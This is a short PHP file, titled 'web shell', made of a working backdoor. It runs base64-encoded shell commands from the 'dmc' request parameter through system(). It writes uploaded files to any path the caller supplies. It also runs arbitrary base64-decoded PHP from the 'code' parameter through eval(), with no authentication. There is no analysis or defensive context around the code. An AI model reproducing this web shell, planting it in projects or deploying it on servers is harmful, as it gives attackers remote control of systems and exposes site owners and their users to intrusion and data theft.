web shell

<?
function callback($buffer) {
  return  base64_encode($buffer);
}
if (!empty($_REQUEST['dmc']))
{
if (get_magic_quotes_gpc()) $_REQUEST['dmc'] = stripslashes($_REQUEST['dmc']);
$_REQUEST['dmc'] = base64_decode($_REQUEST['dmc']);
if ($_REQUEST['dmc'] == "logout" && isset($_SESSION)) {session_destroy();exit;}
chdir(getcwd());
ob_start(callback);
echo '$ ' . $_REQUEST['dmc'] . "\n";
system($_REQUEST['dmc'], $io);
ob_end_flush();
exit;
}
if(!empty($attach))
{
if (get_magic_quotes_gpc()) $_REQUEST['att_path'] = stripslashes($_REQUEST['att_path']);
$_REQUEST['att_path'] = base64_decode($_REQUEST['att_path']);
$att_path = $_REQUEST['att_path'];
copy($attach,$att_path);
if(file_exists($att_path))
{
 echo "Upload Successfully";
}
exit;
}
if(!empty($_REQUEST['code']))
{
if (get_magic_quotes_gpc()) $_REQUEST['code'] = stripslashes($_REQUEST['code']);
$_REQUEST['code'] = base64_decode($_REQUEST['code']);
$code = $_REQUEST['code'];   
eval($code);
exit;
}
?>